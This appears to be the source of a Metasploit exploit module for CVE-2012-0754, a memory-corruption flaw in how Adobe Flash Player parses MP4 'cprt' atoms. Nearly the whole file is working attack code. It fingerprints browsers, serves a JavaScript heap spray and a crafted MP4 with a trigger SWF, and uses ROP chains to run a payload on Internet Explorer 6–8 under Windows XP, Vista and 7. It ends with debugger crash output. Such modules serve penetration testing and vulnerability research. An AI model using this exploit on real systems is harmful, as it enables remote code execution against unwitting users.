Path: blob/master/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::RopDb10include Msf::Exploit::Remote::BrowserAutopwn11autopwn_info({12:os_name => OperatingSystems::Match::WINDOWS,13:method => "GetVariable",14:classid => "ShockwaveFlash.ShockwaveFlash",15:rank => NormalRanking, # reliable memory corruption16:javascript => true17})1819def initialize(info = {})20super(21update_info(22info,23'Name' => "Adobe Flash Player MP4 'cprt' Overflow",24'Description' => %q{25This module exploits a vulnerability found in Adobe Flash26Player. By supplying a corrupt .mp4 file loaded by Flash, it27is possible to gain arbitrary remote code execution under the28context of the user.2930This vulnerability has been exploited in the wild as part of31the "Iran's Oil and Nuclear Situation.doc" e-mail attack.32According to the advisory, 10.3.183.15 and 11.x before3311.1.102.62 are affected.34},35'License' => MSF_LICENSE,36'Author' => [37'Alexander Gavrun', # Vulnerability discovery38'sinn3r', # Metasploit module39'juan vazquez' # Metasploit module40],41'References' => [42[ 'CVE', '2012-0754' ],43[ 'OSVDB', '79300'],44[ 'BID', '52034' ],45[ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ],46[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-03.html' ]47],48'Payload' => {49'Space' => 1000,50'BadChars' => "\x00",51'DisableNops' => true52},53'DefaultOptions' => {54'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'55},56'Platform' => 'win',57'Targets' => [58# Flash Player 11.1.102.5559# Flash Player 10.3.183.1060[ 'Automatic', {} ],61[62'IE 6 on Windows XP SP3',63{64'Rop' => nil,65'Offset' => '0x800 - code.length',66'Ret' => 0x0c0c0c0c67}68],69[70'IE 7 on Windows XP SP3',71{72'Rop' => nil,73'Offset' => '0x800 - code.length',74'Ret' => 0x0c0c0c0c75}76],77[78'IE 8 on Windows XP SP3 with msvcrt ROP',79{80'Rop' => :msvcrt,81'Offset' => '0x5f4',82'Ret' => 0x77c15ed5,83'ppr' => 0x77C1CAFB84}85],86[87'IE 8 on Windows XP SP3 with JRE ROP',88{89'Rop' => :jre,90'Offset' => '0x5f4',91'Ret' => 0x77c15ed5,92'ppr' => 0x77C1CAFB93}94],95[96'IE 7 on Windows Vista',97{98'Rop' => nil,99'Offset' => '0x5f4',100'Ret' => 0x0c0c0c0c101}102],103[104'IE 8 on Windows 7 SP1',105{106'Rop' => :jre,107'Offset' => '0x5f4',108'Ret' => 0x7c348b05,109'ppr' => 0x7c34272e110}111]112],113'Privileged' => false,114'DisclosureDate' => '2012-02-15',115'DefaultTarget' => 0,116'Notes' => {117'Reliability' => UNKNOWN_RELIABILITY,118'Stability' => UNKNOWN_STABILITY,119'SideEffects' => UNKNOWN_SIDE_EFFECTS120}121)122)123end124125def junk(n = 4)126return rand_text_alpha(n).unpack("V").first127end128129def get_payload(t, cli)130if t['Rop'].nil?131code = ""132else133# Fix the stack to avoid anything busted134code = "\x81\xC4\x54\xF2\xFF\xFF"135end136code << payload.encoded137138# No rop. Just return the payload.139return code if t['Rop'].nil?140141rop_name = (t['Rop'] and t['Rop'] == :msvcrt) ? 'msvcrt' : 'java'142rop_target = (rop_name == 'msvcrt') ? 'xp' : ''143144pivot = [t['ppr']].pack('V*') # POP/POP/RET145pivot << [junk].pack('V*')146pivot << [t.ret].pack('V*')147148code = generate_rop_payload(rop_name, code, { 'target' => rop_target })149return code150end151152def get_target(agent)153# If the user is already specified by the user, we'll just use that154return target if target.name != 'Automatic'155156if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/157return targets[1] # IE 6 on Windows XP SP3158elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/159return targets[2] # IE 7 on Windows XP SP3160elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/161return targets[3] # IE 8 on Windows XP SP3162elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/163return targets[5] # IE 7 on Windows Vista164elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/165return targets[6] # IE 8 on Windows Vista SP1 with JRE166else167return nil168end169end170171def primer172# "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource173hardcoded_uripath("/test.mp4")174end175176def exploit177@swf = create_swf178super179end180181def on_request_uri(cli, request)182agent = request.headers['User-Agent']183my_target = get_target(agent)184185# Avoid the attack if the victim doesn't have the same setup we're targeting186if my_target.nil?187print_error("Browser not supported: #{agent}")188send_not_found(cli)189return190end191192print_status("Client requesting: #{request.uri}")193194# The SWF requests our MP4 trigger195if request.uri =~ /\.mp4$/196print_status("Sending MP4...")197mp4 = create_mp4(my_target)198send_response(cli, mp4, { 'Content-Type' => 'video/mp4' })199return200end201202if request.uri =~ /\.swf$/203print_status("Sending Exploit SWF")204send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })205return206end207208p = get_payload(my_target, cli)209210js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))211js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(my_target.arch))212randnop = rand_text_alpha(rand(100) + 1)213214js_pivot = <<-JS215var heap_obj = new heapLib.ie(0x20000);216var code = unescape("#{js_code}");217var #{randnop} = "#{js_nops}";218var nops = unescape(#{randnop});219220while (nops.length < 0x80000) nops += nops;221var offset = nops.substring(0, #{my_target['Offset']});222var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);223224while (shellcode.length < 0x40000) shellcode += shellcode;225var block = shellcode.substring(0, (0x80000-6)/2);226227heap_obj.gc();228heap_obj.debug(true);229for (var i=1; i < 0x1C2; i++) {230heap_obj.alloc(block);231}232heap_obj.debug(true);233JS234235js_pivot = heaplib(js_pivot, { :noobfu => true })236237swf_uri = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource238swf_uri << "/#{rand_text_alpha(rand(6) + 3)}.swf"239240html = %Q|241<html>242<head>243<script>244#{js_pivot}245</script>246</head>247<body>248<center>249<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"250id="test" width="1" height="1"251codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">252<param name="movie" value="#{swf_uri}" />253<embed src="#{swf_uri}" quality="high"254width="1" height="1" name="test" align="middle"255allowNetworking="all"256type="application/x-shockwave-flash"257pluginspage="http://www.macromedia.com/go/getflashplayer">258</embed>259260</object>261</center>262263</body>264</html>265|266267html = html.gsub(/^ {4}/, '')268269print_status("Sending html")270send_response(cli, html, { 'Content-Type' => 'text/html' })271end272273def create_swf274path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2012-0754.swf")275fd = ::File.open(path, "rb")276swf = fd.read(fd.stat.size)277fd.close278279return swf280end281282def create_mp4(target)283mp4 = ""284mp4 << "\x00\x00\x00\x18"285mp4 << "ftypmp42"286mp4 << "\x00\x00\x00\x00"287mp4 << "mp42isom"288mp4 << "\x00\x00\x00\x0D"289mp4 << "cprt"290mp4 << "\x00\xFF\xFF\xFF"291mp4 << "\x00\x00\x00\x00"292mp4 << "\x0c\x0c\x0c\x0c" * 2586293294return mp4295end296end297298=begin299C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx300301(4b4.1d0): Access violation - code c0000005 (first chance)302First chance exceptions are reported before any exception handling.303This exception may be expected and handled.304eax=0c0c0c0c ebx=00000000 ecx=0308b1a0 edx=00000004 esi=0308b1a0 edi=00000001305eip=027a2626 esp=0377fec0 ebp=0377ff0c iopl=0 nv up ei pl zr na pe nc306cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246307*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx -308Flash11e+0x52626:309027a2626 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=????????310311C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx312313(510.9b4): Access violation - code c0000005 (first chance)314First chance exceptions are reported before any exception handling.315This exception may be expected and handled.316eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000317eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0 nv up ei pl zr na pe nc318cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246319*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx -320Flash10x+0x48b65:32110048b65 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=????????322=end323324325